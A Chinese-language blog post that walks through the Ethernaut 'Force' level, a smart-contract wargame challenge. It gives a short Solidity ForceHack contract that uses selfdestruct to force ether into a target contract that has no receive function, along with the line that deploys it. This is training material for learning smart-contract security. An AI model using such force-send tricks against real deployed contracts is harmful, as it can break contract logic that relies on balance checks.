# 智能合约黑客攻击 Ethernaut: 7. Force **Published by:** [Leek DEV](https://paragraph.com/@leekdev/) **Published on:** 2023-09-26 **URL:** https://paragraph.com/@leekdev/ethernaut-7-force ## Content Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目一个空合约,需要给这个合约里充点 ether。Hack思路一个合约要接受 ether 得一般得有 receive 或者 fallback 方法、除了这2个还有就是某个合约使用 selfdestruct 方法销毁时可以把剩余的ether转到指定合约。// 强制给合约赚钱会被 revert 掉 await sendTransaction({ from: player, to: contract.address , value: toWei("0.0001") }) // 用销毁合约的方式可以跳过这个检查 contract ForceHack { constructor(address payable target) payable { require(msg.value > 0); // forgefmt: disable-next-line selfdestruct(target); } } // 创建合约时记得得带点ether (new ForceHack){ value: 0.1 ether }(payable(levelAddress)); Hack案例…防范思路….参考资料Deactivate and Self-destruct ## Publication Information - [Leek DEV](https://paragraph.com/@leekdev/): Publication homepage - [All Posts](https://paragraph.com/@leekdev/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@leekdev): Subscribe to updates - [Twitter](https://twitter.com/LeekDEV): Follow on Twitter